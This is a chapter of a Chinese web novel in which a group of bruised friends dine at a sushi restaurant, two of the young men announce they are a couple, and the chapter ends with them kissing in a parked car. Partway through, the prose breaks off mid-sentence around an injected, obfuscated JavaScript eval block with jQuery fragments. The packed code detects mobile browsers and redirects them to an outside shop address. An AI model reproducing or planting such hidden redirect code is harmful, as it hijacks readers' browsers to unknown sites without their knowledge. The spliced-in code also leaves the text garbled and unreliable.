晚上,祁野忙完开车来接人。
于星垣、何化和周明宇拉开车门,挨个儿钻了进去。陈澈还被他哥“重点关照”着,限制了活动自由,得晚点儿自己打车过来碰头。
几天过去,几个人身上的伤倒是好得差不多了,就是脸上实在有点没法看。青一块紫一块的淤痕顽固地盘踞在眼角、颧骨和嘴角,像一幅抽象派的调色盘,瞅着依然挺触目惊心。
何化对着后视镜龇牙咧嘴:“哥们儿这张帅脸算是暂时报废了,这得耽误多少桃花运啊。”
坐副驾的于星垣下意识摸了摸自己还没消肿的眼角,小声接话:“彼此彼此,咱这也算对称了。”
后座的周明宇推了推眼镜,淡定地吐槽:“挺好,走出去一看就知道是过命的交情,省得费口舌解释。”
祁野单手打着方向盘,瞥了一眼旁边于星垣那张花花绿绿却眉眼带笑的脸,嘴角轻轻抬了一下,车里弥漫着劫后余生又没心没肺的暖和气氛。
鮨龍的环境还是非常不错的,包间里安安静静,原木色调的装潢透着一股低调的讲究。
穿着素雅和服的服务生轻手轻脚把他们领到一间雅致私密的榻榻米房间。
穿戴齐整的板前师傅早已等在那里。
何化一坐下就兴冲冲翻起了菜单,周明宇则不紧不慢地用热水烫着杯碗。
祁野很自然地挨着于星垣坐下,接过服务生递来的热毛巾,却没往自己脸上擦,而是再顺手不过地侧过身,轻轻把毛巾敷在于星垣眼角那块还没散干净的淡青上。
“敷着,散淤快。”他语气平常,动作却那么顺手,仿佛理所当然。
于星垣愣了一下,温热的触感贴着眼皮,还带着祁野手指擦过的温度。
他耳根有点热,没躲,只小声嘀咕:“……都快好了,还敷什么。”
话是这么说,人却坐得稳稳当当,一动没动。
祁野低笑一声,这才收回手,开始打理自己。
这旁若无人的架势把对面的何化看得眼睛都直了,他用手肘猛碰旁边的周明宇,挤眉弄眼得快要抽筋似的。
周明宇面不改色地把一杯刚沏好的热茶推到他面前:“喝你的茶。”
精致的料理一道道端上。
祁野似乎清楚于星垣的口味,总是不动声色地把金枪鱼大腹、海胆这类他明显爱吃的往他跟前推。
于星垣吃得眼睛微微眯起来,像只被顺毛捋舒服了的猫,偶尔碰到特别对味的,还会下意识扯扯祁野的袖口,让他赶紧也尝一口。
几轮清酒下肚,气氛越发活泛。
何化开始比划着复盘那天打架的高光时刻,吹嘘自己一个撂倒三个,被周明宇毫不留情地拆台:“对,然后让第四个人一脚踹马路牙子上了。”
于星垣听得噗嗤乐出来,结果一不小心呛着,咳得眼泪直打转。
祁野一边嫌弃地递纸巾,一边手已经落在他背上不轻不重地拍着:“慢点儿,又没人跟你抢。”
正闹着,包间移门“哗啦”一声被拉开。脸上挂彩程度不输他们的陈澈终于赶到,气喘吁吁地叉腰站在门口。
“靠!丫居然不等我就开撮!还是不是兄弟了!”
他一眼瞄见桌上最后一块和牛牛排,饿虎扑食似的就要下手。
祁野眼疾手快,筷子一挡,转手就稳稳当当地夹进了于星垣的碟子里。
“……”陈澈动作僵在半空,瞅瞅祁野,又瞅瞅于星垣,最后痛心疾首地嚎道,“野哥!你重色轻友!”
于星垣脸颊唰地红透,盯着碟子里多出来的牛排,吃也不是,不吃也不是。
祁野却跟没听见似的,只对于星垣抬了抬下巴:“快吃,凉了发腥。”
暖黄的灯光流淌下来,食物的香气氤氲在空气里,耳边是朋友们吵吵嚷嚷的玩笑和拆台。
于星垣低下头,嘴角却压不住地往上翘,都快咧到耳朵根了。
他夹起那块汁水丰盈的牛排送进嘴里,感觉心里头某个地方,也被什么东西塞得满满当当,又暖又踏实,比这顶级的和牛还让人熨帖。
快散场的时候,包间里弥漫着清酒的醇香和食物残存的暖意。
于星垣深吸一口气,像是鼓足了勇气,手指悄摸地在桌子底下探过去,小心翼翼地勾住了祁野的手指。
祁野反应那叫一个快,反手就把他整个手攥进掌心,还用指尖在他手心里不轻不重地挠了一下,痒得于星垣心头一颤。
于星垣耳根子唰地就热了,他假模假式地咳嗽一声,强装镇定地开口,声音却比平时高了半个调:“那什么……跟大家说个事儿啊。”
周明宇慢悠悠放下茶杯,目光在他俩那紧挨着的胳膊和明显牵着的手上一扫,了然地挑了挑眉,一副“我早就知道”的德行。
陈澈和何化这俩活宝还毫无察觉,正为碟子里最后一块烤鳗鱼争得筷子打架,恨不得站起来抢。
于星垣侧头看了眼祁野,得到对方一个“随你便,爱咋说咋说”的眼神鼓励,把心一横,直接把两人十指紧扣的手给举到了桌面上,亮在了明处。
“我们俩……嗯,谈恋爱了。”
空气好像在这一瞬间冻上了。
陈澈鼓着塞满食物的腮帮子,咀嚼的动作彻底僵住,眼珠子都不会转了。
何化筷子尖上好不容易抢到的鳗鱼,“啪嗒”一声,又掉回了碟子里。
只有周明宇从容不迫地举起酒杯,嘴角噙着看透一切的笑意:“恭喜。总算官宣了一个我们早就心照不宣的秘密。”
死寂了半分钟……
陈澈猛地咽下食物,爆出一声:“操!”
何化紧随其后,声音都劈了:“卧槽?!”
“你俩来真的啊?!”
两人异口同声,眼睛瞪得跟铜铃似的,写满了难以置信。
祁野面无表情地“嗯”了一声,指关节却在于星垣手背上轻轻蹭了蹭,淡定得很:“在一起了,真的不能再真。”
“靠!”
“我靠!”
“你俩不是见面就掐、不死不休的死对头吗?!”两人再次同步发出灵魂拷问,世界观遭受了巨大冲击。
周明宇在一旁笑得肩膀直抖,眼镜片都反光了:“平时属你俩开他俩玩笑开得最欢,恨不得加个喇叭喊,现在人家真成了,你们倒接受不了了?”
何化一脸痛心疾首,捶着胸口:“我那叫口嗨!是直男间伟大的友情助威!谁知道他们玩真的啊!”
陈澈猛点头,表情扭曲得像吃了酸柠檬:“虽然我尊重一切性向!但一想到穿开裆裤就认识的兄弟突然弯了……嘶,这感觉有点复杂,有点羞耻啊!”
于星垣:“…………”
一时竟不知该如何反驳。
祁野抄起手边叠得整齐的湿毛巾就砸了过去:“谁他爹跟你穿开裆裤?少在这儿碰瓷儿攀交情。”
毛巾攻击被陈澈敏捷躲过,他顺势嚎得更大声:“看见没!有了新欢就对旧爱动手!野哥你以前不是这样的!”
何化
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17159710|196588||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
戏精附体,捂住胸口做心痛状:“原来那些针锋相对都是打情骂俏?是我天真了!罚酒!必须罚酒!”
周明宇看热闹不嫌事大,淡定补刀:“建议直接喝交杯酒,环节该省省,该狠狠。”
祁野嗤笑一声,没接茬,反而侧头靠近于星垣,用不大但全场都能听清的音量问:“他们是不是嫉妒?”
于星垣脸红得要冒烟,憋着笑点头:“嗯,酸味都快盖过醋碟了。”
陈澈&何化:“???”
“不行!”何化一拍桌子,“这顿不能就这么算了!得加菜!野哥请客!专挑贵的点!就当是拐走我们星垣的赎金!”
陈澈立刻举手:“我赞成!要最肥的金枪鱼大腹!最大的牡丹虾!海胆要堆成山!”
祁野挑眉,在于星垣“算了算了”的眼神中,慢条斯理地掏出钱包拍在桌上,嘴角一勾。
“行,随便点。毕竟……”
他故意停顿,揽过于星垣的肩膀,笑得嚣张又得意:“这赎金,我付得心甘情愿。”
包间里瞬间爆发出更大的起哄声和笑骂声,混着食物的热气与酒香,将这个夏夜的甜蜜与喧闹推向高潮。
夜色渐浓,散场时都快十二点了。
眼瞅着快开学了,除了周明宇还得忙活兼职,剩下他们几个都闲了下来。
陈澈死乞白赖地挤上祁野的车,嚷嚷着“不想一个人回冷冰冰的窝”,没辙,只好先把他捎回祁野的公寓。
周明宇也还暂时在祁野那儿凑合,打算开学就搬回宿舍,便也没另找地方住。
等那俩人先后下了车,身影没入单元门后,车里霎时安静得能听见自己的心跳。
祁野熄了火,地库里的声控灯渐次暗了,只剩仪表盘幽微的蓝光,和窗外零星几点安全指示灯的绿光,在昏暗中默默工作着。
刚确认关系的小情侣,好像总有说不完的废话。
低低的说话声在密闭车厢里轻轻荡着,聊的无非是“刚才陈澈是不是又傻乐了”、“周明宇那兼职到底挣多少”之类没营养的,可俩人嘴角却都忍不住往上翘。
不知什么时候,话头慢慢停了。
目光却黏在了一块儿,空气里飘着一种心照不宣的张力,静得能听见彼此渐渐快起来的呼吸。
于星垣觉得自己的心跳声快震破耳膜了。他看着祁野近在咫尺的眼睛,那里面映着一点微光,深得像是要把人吸进去。
他几乎是本能地,咔哒一声解开安全带,倾身凑了过去。
祁野立刻伸手接住他,手心滚烫地贴在他后腰上。
于星垣顺势跨坐到他腿上,驾驶座的空间出乎意料地宽敞,足够两人紧密地贴在一块儿。
最初的亲吻带着点试探的生涩,嘴唇轻轻蹭着,有点痒,还有点不确定的轻颤。但很快,这点小心翼翼的克制就被涌上来的情绪冲散了。
祁野稍稍加了点力气,把这个吻加深了,舌尖温柔地探进他的齿间。
于星垣喉咙里溢出一声轻哼,手臂环上祁野的脖子,生涩却又热切地回应着。
呼吸变得又急又烫,交织在狭小的空间里。唇齿间全是对方的气息,混着晚风带来的微凉夜气,和刚才喝的那点清酒的淡淡余味。
他们像两块互相吸引的磁铁,急切地索取着对方的温度和触碰,吻得舍不得分开,仿佛要把对方的气息、温度、一切都揉进自己的骨血里才行。
昏暗的地库、安静的车厢、窗外偶尔闪过的车灯……全都成了模糊的背景。